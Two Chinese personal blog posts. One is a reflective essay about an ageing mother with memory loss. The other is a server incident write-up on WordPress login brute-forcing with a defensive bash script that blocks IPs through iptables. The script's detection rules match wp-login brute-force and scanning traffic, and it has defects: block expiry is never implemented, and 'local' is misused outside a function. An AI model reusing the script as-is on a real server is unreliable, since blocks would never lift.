然而,现实是,哪有不忙的。她想要的是大姐啥事都没有,能在家陪着她。那种特别被关注的感觉,她喜欢的是这样的。那种所谓的热情要无时无刻的表现出来,如果稍微有些地方做不到,做的不好,她就 开始挑刺。这种感觉,让人觉得不是一家人,甚至连亲戚都不如,还需要去表演那种虚情假意。
最终还是决定留下来住一段时间,现在她的状态,跟谁在一起都难免矛盾重重。很多时候,聚到一起,她总是要提说自己还有四年的活头了。而这一切的根源在于数年前,她去找小瞎汉(镇上的算命师傅)给算的命。而这个算命,甚至都不止给自己算的,而是给我算的。那时候还没结婚,她去找人算我什么时候结婚,里面捎带着来了一句,说我在XX岁数,就穿完重白了。
这个也就成了她人生的终点,卡着点算来算去,这也就剩下四五年时间了。其他的事情都忘了,唯独这件破事已经记了十几年。
而对于这个小瞎汉,我自然是不信的,毕竟这不是第一次给我算,之前给我算的也从来没准过,说什么考大学,找工作。这不行,那不行,给姐姐们算的也从来没什么准的。但是她却忽略了所有的不准,唯独对这件事情念念不忘。
而现在,看来这健忘,并不会忘掉所有的东西,她的国度,有自己的逻辑。那些她想记住的,她能记住,有些可能是不想或者真的记不住。之前说,你们过生日的时候,给我打个电话吧。我也记不住你们的生日了。
听到这句话的时候,心理忽然痛了。已经好好几年不曾在自己生日的时候给她打电话了,打过去不知道该说还是不说。或许那种被遗忘的感觉真的不好。
在外漂泊了这么多年,有时候发现自己的心真的是硬了,少了很多情感,也少了很多感情。有的时候会想起来甚至有些残忍,然而,不残忍,受伤的就成了自己。
走之前,叫上姐姐们,商量了一下,最后决定还是要买那种治疗老年痴呆,或者能延缓老年痴呆的药物了。这个想法也的确由来已久,总是觉得没那么严重。
老太太对于药物的依赖已经到了无可救药的地步,稍微不舒服就大量吃药。中午吃饭的时候看她不断的往纸巾上倒酒,然后贴到自己手上。如此数次,下午时候说自己的手痒痒,从随身携带的包里拿出要来开始吃药。
之前看到这种情况,难免生气,现在却气不起来了。或许,小瞎汉那随口的一句话,已经给她判了死刑。而这个枷锁,已经套上数年。她害怕自己会想说的那样,到时候真的就没了。稍微的不适,哪怕被蚊子咬了,都要惊恐半天。这种高度紧绷的精神状态,我也不知道是怎么坚持了这么多年的。
有的时候她还会自己臆想一些事情。上次回家的时候说,家里电线找了,以后水泵和空调不要一起开。说的信誓旦旦,当时我还问怎么着的。她说外面的线全部都换掉了。
下午回到家之后,三姐又问道这个问题,是不是真的着了。然而,二姐却说从来没有,也没发生过着火的事情。这一切都是假的,从来没发生过。现在看来,在她的世界里,已经不在完全是真实世界了。她的国度,已经一半虚拟,一半真实。
这个国度的纪年,已经记不住其他人做的事情,也不会记住外部世界的变化,唯一的,只是她内心的投射。
想到如果以后她跟对象的爷爷一样,老年痴呆,五六年的时间,最后记不住任何东西,只剩下肆意破坏,那时候对所有的人来说都成灾难。
药已经买了,只是希望,现实世界在她的国度能维持的更长久一些,不要这么快的崩塌。
The post 她的国 appeared first on obaby@mars.
2025-08-09 11:43:54
宝子放假,转眼假期已经过了一半,想着找个周末带宝子回老家住几天,大姐家的孩子周日要办升学宴,既然都回来了,不去也不合适,刚好就可以周六回老家,周日去淄博。
对象说,周日青岛会下大暴雨,还是下班之后直接回吧,不然第二天很可能走不了。
就这样,马不停蹄,下班买点东西就直接接上孩子往回走。天气预报零点的雨,在九点多到潍坊的时候就开始逐渐大了。
对象开车的时候,自己打开手机想回复下评论,但是却发现一个问题,那就是页面非常卡。刚开始还以为是网络问题,但是切到短视频却异常流畅。
瞬间有种不祥的预感,那就是服务器的 cpu 肯定又跑满了。
之前看到威言威语发的《暂时停用腾讯EdgeOne了》 ,感觉自己的系统貌似没什么太大的问题。但是,实际上是在这之前,切换到 eo 之后,也出现过一次 cpu 跑满的情况,当时重启 php 之后一切正常了,以为是偶发事件。所以也没再关注,但是这次尝试远程重启服务之后,只是瞬间缓解。几分钟之后就又卡死了,所以昨天能发评论的宝子真的都是真爱,么么哒(๑•́₃•̀๑),因为我自己都打不开我的后台。
这种感觉还有一个前兆,那就是后台资源库突然多了个文件。
不过这个文件看起来是某个插件的压缩包,但是描述是另外一个域名,猜测是另外一个域名传上来的。但是。搜了下这个用户不存在,所以最后直接把插件和文件一起删除了。
但是这个 cpu 跑满的感觉还是感觉是 cc,不然不至于 php 能直接占满了全部资源。
到家之后,看了下 eo 的后台没什么能配置地方。但是,通过服务器的访问记录却发现,有几个地址在频繁请求登录页面:
当然,更诡异的是这里面好几个 ip 竟然都是腾讯的海外节点。这就有点奇怪了。
尤其是 163 这个,按照常理来说,如果是 cdn 节点回源,应该不会摁着这一个地址回源,并且这个请求频率大概率会被 cdn 拦截,然而,现在的现象是不单没被拦截,还高频访问,一个地址在一秒内发起了几十个请求。这尼玛就离谱了,查了一下加速域名的节点,发现这些都不在 eo 的节点列表内。
那么,此时会合理的猜的就是 eo 的机房内或者是在某些地方的节点回源会泄露原始服务器地址,这样这一系列的请求就说的通了。这些请求本身并没有结果 cdn,所以直接是从机房发起的请求。
在回源地址泄露之后,有人通过 bot 控制了大量机房内的机器,尝试对 wp 的登录地址进行暴力破解,而这告诉 cc 也导致了家里的 mac mini 的服务器资源瞬间被耗尽了。
所以这个问题不是 eo 本身导致的,但是确实是套了 eo 的国外节点之后,有 eo 的某些请求泄露回源地址导致出现了直接针对服务器的 cc 攻击。这个攻击目标很明确,就是破解登录密码。本来想直接封锁那几个 ip,但是封锁之后发现还是不断的有新的开始尝试,于是,最新版本的工具就出现了,直接写个脚本,通过检测 nginx 访问日志,实现对 ip 动态风控。
代码如下:
#!/bin/bash # 实时监控日志文件并自动封锁恶意IP # 使用方法: sudo ./realtime_block.sh LOG_FILE="/home/wwwlogs/h4ck.org.cn.log" BLOCKED_IPS_FILE="/tmp/blocked_ips.txt" MAX_REQUESTS_PER_MINUTE=10 BLOCK_DURATION=3600 # 封锁时间(秒) DEBUG_MODE=false # 设置为true启用调试模式 QUIET_MODE=false # 设置为true启用静默模式(只显示新增封锁) ATTACK_HISTORY_FILE="/tmp/attack_history.txt" # 攻击历史记录文件 # 检查是否以root权限运行 if [ "$EUID" -ne 0 ]; then echo "请使用sudo运行此脚本" exit 1 fi # 检查inotify-tools是否安装 if ! command -v inotifywait &> /dev/null; then echo "请先安装inotify-tools:" echo "Ubuntu/Debian: sudo apt-get install inotify-tools" echo "CentOS/RHEL: sudo yum install inotify-tools" exit 1 fi # 检查日志文件是否存在 if [ ! -f "$LOG_FILE" ]; then echo "错误: 日志文件 $LOG_FILE 不存在" exit 1 fi # 创建iptables链(如果不存在) iptables -N BLOCK_MALICIOUS_IPS 2>/dev/null # 确保BLOCK_MALICIOUS_IPS链在INPUT链的最前面 iptables -C INPUT -j BLOCK_MALICIOUS_IPS 2>/dev/null || iptables -I INPUT 1 -j BLOCK_MALICIOUS_IPS # 初始化文件 touch "$BLOCKED_IPS_FILE" touch "$ATTACK_HISTORY_FILE" # 函数:检查并修复iptables配置 check_iptables_config() { echo "检查iptables配置..." # 检查BLOCK_MALICIOUS_IPS链是否存在 if ! iptables -L BLOCK_MALICIOUS_IPS >/dev/null 2>&1; then echo "创建BLOCK_MALICIOUS_IPS链..." iptables -N BLOCK_MALICIOUS_IPS fi # 检查INPUT链中是否包含BLOCK_MALICIOUS_IPS if ! iptables -C INPUT -j BLOCK_MALICIOUS_IPS 2>/dev/null; then echo "将BLOCK_MALICIOUS_IPS链插入到INPUT链的最前面..." iptables -I INPUT 1 -j BLOCK_MALICIOUS_IPS fi # 显示当前配置 echo "当前iptables配置:" iptables -L INPUT -n --line-numbers | head -10 echo "BLOCK_MALICIOUS_IPS链规则:" iptables -L BLOCK_MALICIOUS_IPS -n } # 函数:重新加载已封锁的IP到iptables reload_blocked_ips() { echo "重新加载已封锁的IP到iptables..." if [ -f "$BLOCKED_IPS_FILE" ]; then local count=0 while read -r ip; do if [ -n "$ip" ]; then # 检查iptables中是否已有此规则 if ! iptables -C BLOCK_MALICIOUS_IPS -s "$ip" -j DROP 2>/dev/null; then iptables -A BLOCK_MALICIOUS_IPS -s "$ip" -j DROP count=$((count + 1)) fi fi done < "$BLOCKED_IPS_FILE" echo "重新加载了 $count 个IP到iptables" fi } # 检查并修复iptables配置 check_iptables_config # 重新加载已封锁的IP reload_blocked_ips echo "开始实时监控日志文件: $LOG_FILE" echo "最大请求频率: $MAX_REQUESTS_PER_MINUTE 次/分钟" echo "封锁时间: $BLOCK_DURATION 秒" # 函数:封锁IP block_ip() { local ip=$1 local reason=$2 # 检查IP是否已经被封锁 if ! grep -q "^$ip$" "$BLOCKED_IPS_FILE"; then echo "$(date '+%Y-%m-%d %H:%M:%S') - 封锁IP: $ip (原因: $reason)" # 添加到iptables(确保规则正确添加) iptables -A BLOCK_MALICIOUS_IPS -s "$ip" -j DROP # 验证规则是否添加成功 if iptables -C BLOCK_MALICIOUS_IPS -s "$ip" -j DROP 2>/dev/null; then echo "$(date '+%Y-%m-%d %H:%M:%S') - 成功添加iptables规则: $ip" else echo "$(date '+%Y-%m-%d %H:%M:%S') - 警告: iptables规则添加失败: $ip" fi # 记录到文件 echo "$ip" >> "$BLOCKED_IPS_FILE" # 记录日志 echo "$(date '+%Y-%m-%d %H:%M:%S') - 封锁IP: $ip (原因: $reason)" >> /var/log/realtime_block.log else echo "$(date '+%Y-%m-%d %H:%M:%S') - IP $ip 已经被封锁" fi } # 函数:记录攻击历史 record_attack() { local ip=$1 local attack_type=$2 local timestamp=$(date +%s) echo "$ip|$attack_type|$timestamp" >> "$ATTACK_HISTORY_FILE" } # 函数:检查攻击历史 check_attack_history() { local ip=$1 local attack_type=$2 local current_time=$(date +%s) local time_window=300 # 5分钟时间窗口 # 清理过期的攻击记录 local temp_file="/tmp/temp_attack_history.txt" while IFS='|' read -r record_ip record_type record_time; do if [ $((current_time - record_time)) -lt $time_window ]; then echo "$record_ip|$record_type|$record_time" >> "$temp_file" fi done < "$ATTACK_HISTORY_FILE" mv "$temp_file" "$ATTACK_HISTORY_FILE" 2>/dev/null # 统计该IP在时间窗口内的攻击次数 local attack_count=$(grep "^$ip|" "$ATTACK_HISTORY_FILE" | wc -l) echo "$attack_count" } # 函数:分析新日志条目 analyze_new_logs() { local new_lines="$1" if [ -n "$new_lines" ]; then if [ "$DEBUG_MODE" = true ]; then echo "DEBUG: 分析新日志行数: $(echo "$new_lines" | wc -l)" fi # 统计IP请求频率 local ip_counts=$(echo "$new_lines" | awk '{print $1}' | sort | uniq -c | sort -nr) if [ "$DEBUG_MODE" = true ] && [ -n "$ip_counts" ]; then echo "DEBUG: IP统计结果:" echo "$ip_counts" fi # 检查每个IP的请求频率 while read -r count ip; do if [ -n "$ip" ] && [ "$count" -gt "$MAX_REQUESTS_PER_MINUTE" ]; then record_attack "$ip" "high_frequency" local total_attacks=$(check_attack_history "$ip" "high_frequency") if [ "$total_attacks" -gt 2 ]; then block_ip "$ip" "请求频率过高: ${count}次/分钟 (累计${total_attacks}次)" fi fi done <<< "$ip_counts" # 检查WordPress登录尝试 local wp_login_attempts=$(echo "$new_lines" | grep "POST /wp-login.php" | awk '{print $1}' | sort | uniq -c | sort -nr) if [ "$DEBUG_MODE" = true ] && [ -n "$wp_login_attempts" ]; then echo "DEBUG: WordPress登录尝试统计:" echo "$wp_login_attempts" fi if [ -n "$wp_login_attempts" ]; then while read -r count ip; do if [ -n "$ip" ]; then record_attack "$ip" "wp_login" local total_attacks=$(check_attack_history "$ip" "wp_login") if [ "$total_attacks" -gt 1 ]; then # 只要超过1次WordPress登录尝试就封锁 block_ip "$ip" "WordPress暴力破解: ${count}次尝试 (累计${total_attacks}次)" fi fi done <<< "$wp_login_attempts" fi # 检查404错误(可能的扫描行为) local error_404_attempts=$(echo "$new_lines" | grep " 404 " | awk '{print $1}' | sort | uniq -c | sort -nr) if [ -n "$error_404_attempts" ]; then while read -r count ip; do if [ -n "$ip" ] && [ "$count" -gt 5 ]; then # 降低阈值到5次404错误 record_attack "$ip" "error_404" local total_attacks=$(check_attack_history "$ip" "error_404") if [ "$total_attacks" -gt 2 ]; then block_ip "$ip" "扫描行为: ${count}次404错误 (累计${total_attacks}次)" fi fi done <<< "$error_404_attempts" fi # 检查可疑的扫描行为(访问不存在的文件) local suspicious_requests=$(echo "$new_lines" | grep -E "(\.php|\.asp|\.jsp|\.exe|\.bat|\.cmd)" | awk '{print $1}' | sort | uniq -c | sort -nr) if [ -n "$suspicious_requests" ]; then while read -r count ip; do if [ -n "$ip" ] && [ "$count" -gt 3 ]; then # 降低阈值到3次可疑请求 record_attack "$ip" "suspicious" local total_attacks=$(check_attack_history "$ip" "suspicious") if [ "$total_attacks" -gt 1 ]; then block_ip "$ip" "可疑扫描: ${count}次可疑请求 (累计${total_attacks}次)" fi fi done <<< "$suspicious_requests" fi fi } # 函数:监控日志文件变化 monitor_log_file() { echo "开始实时监控..." # 记录当前文件行数 local last_line_count=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0) # 使用inotifywait监控文件变化 inotifywait -m -e modify "$LOG_FILE" | while read -r directory events filename; do # 获取当前文件行数 local current_line_count=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0) if [ "$current_line_count" -gt "$last_line_count" ]; then if [ "$DEBUG_MODE" = true ]; then echo "DEBUG: 检测到新日志行,从第 $((last_line_count + 1)) 行开始" fi # 获取新增的日志行 local new_lines=$(tail -n +$((last_line_count + 1)) "$LOG_FILE" 2>/dev/null) if [ -n "$new_lines" ]; then # 记录分析前的封锁数量 local old_blocked_count=$(wc -l < "$BLOCKED_IPS_FILE" 2>/dev/null || echo 0) # 分析新日志 analyze_new_logs "$new_lines" # 获取分析后的封锁数量 local new_blocked_count=$(wc -l < "$BLOCKED_IPS_FILE" 2>/dev/null || echo 0) # 根据模式输出不同的信息 if [ "$new_blocked_count" -gt "$old_blocked_count" ]; then # 有新增封锁 if [ "$QUIET_MODE" = true ]; then # 静默模式:只显示新增数量 echo "$(date '+%Y-%m-%d %H:%M:%S') - 新增封锁 $(($new_blocked_count - $old_blocked_count)) 个IP" else # 正常模式:显示详细信息 echo "$(date '+%Y-%m-%d %H:%M:%S') - 新增封锁 $(($new_blocked_count - $old_blocked_count)) 个IP,总计 $new_blocked_count 个" fi elif [ "$QUIET_MODE" = false ] && [ "$DEBUG_MODE" = false ]; then # 非静默且非调试模式:显示处理状态(可选) echo "$(date '+%Y-%m-%d %H:%M:%S') - 处理日志,当前封锁 $new_blocked_count 个IP" fi fi # 更新行数 last_line_count=$current_line_count fi done } # 函数:定期清理过期封锁 cleanup_expired_blocks() { while true; do sleep 3600 # 每小时执行一次 local current_time=$(date +%s) local temp_file="/tmp/temp_blocked_ips.txt" # 重新创建封锁文件(简化处理) if [ -f "$BLOCKED_IPS_FILE" ]; then # 这里可以根据需要实现更精确的时间管理 # 目前简化处理,每小时清理一次 echo "$(date '+%Y-%m-%d %H:%M:%S') - 清理过期封锁" >> /var/log/realtime_block.log fi done } # 函数:测试模式 test_mode() { echo "测试模式: 模拟恶意请求..." # 创建测试日志条目 local test_log_entries=( "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" "192.168.1.100 - - [$(date '+%d/%b/%Y:%H:%M:%S')] \"GET / HTTP/1.1\" 200 1234" ) # 将测试数据写入日志文件 for entry in "${test_log_entries[@]}"; do echo "$entry" >> "$LOG_FILE" sleep 0.1 done echo "测试完成,请检查是否封锁了IP 192.168.1.100" } # 检查命令行参数 if [ "$1" = "--test" ]; then test_mode exit 0 elif [ "$1" = "--status" ]; then echo "当前封锁状态:" if [ -f "$BLOCKED_IPS_FILE" ]; then local blocked_count=$(wc -l < "$BLOCKED_IPS_FILE" 2>/dev/null || echo 0) echo "已封锁IP数量: $blocked_count" if [ "$blocked_count" -gt 0 ]; then echo "封锁的IP列表:" cat "$BLOCKED_IPS_FILE" fi else echo "暂无封锁的IP" fi exit 0 elif [ "$1" = "--debug" ]; then DEBUG_MODE=true echo "调试模式已启用" elif [ "$1" = "--quiet" ]; then QUIET_MODE=true echo "静默模式已启用(只显示新增封锁)" elif [ "$1" = "--minimal" ]; then QUIET_MODE=true DEBUG_MODE=false echo "最小输出模式已启用(只显示新增封锁)" elif [ "$1" = "--check-iptables" ]; then echo "检查iptables配置..." check_iptables_config echo "" echo "当前封锁的IP列表:" if [ -f "$BLOCKED_IPS_FILE" ]; then cat "$BLOCKED_IPS_FILE" else echo "暂无封锁的IP" fi exit 0 elif [ "$1" = "--attack-history" ]; then echo "攻击历史记录:" if [ -f "$ATTACK_HISTORY_FILE" ]; then echo "IP地址 | 攻击类型 | 时间戳" echo "------------------------" while IFS='|' read -r ip type timestamp; do time_str=$(date -d "@$timestamp" '+%Y-%m-%d %H:%M:%S' 2>/dev/null || echo "未知时间") echo "$ip | $type | $time_str" done < "$ATTACK_HISTORY_FILE" else echo "暂无攻击历史记录" fi exit 0 fi # 启动清理进程 cleanup_expired_blocks & CLEANUP_PID=$! # 启动监控 monitor_log_file # 清理进程 kill $CLEANUP_PID 2>/dev/null
使用说明:
### 基本使用 ```bash sudo ./realtime_block.sh ``` ### 调试模式 ```bash sudo ./realtime_block.sh --debug ``` ### 静默模式(只显示新增封锁) ```bash sudo ./realtime_block.sh --quiet ``` ### 最小输出模式(最简洁的输出) ```bash sudo ./realtime_block.sh --minimal ``` ### 查看当前状态 ```bash sudo ./realtime_block.sh --status ``` ### 测试模式 ```bash sudo ./realtime_block.sh --test ``` ## 配置参数 在脚本开头可以修改以下参数: ```bash LOG_FILE="/home/wwwlogs/h4ck.org.cn.log" # 日志文件路径 BLOCKED_IPS_FILE="/tmp/blocked_ips.txt" # 封锁IP记录文件 MAX_REQUESTS_PER_MINUTE=10 # 每分钟最大请求数 BLOCK_DURATION=3600 # 封锁时间(秒) DEBUG_MODE=false # 调试模式 QUIET_MODE=false # 静默模式 ```
最终效果:
这,文正写完了,雨也停了。
The post 偶然?还是必然? — 谁是罪魁祸首 appeared first on obaby@mars.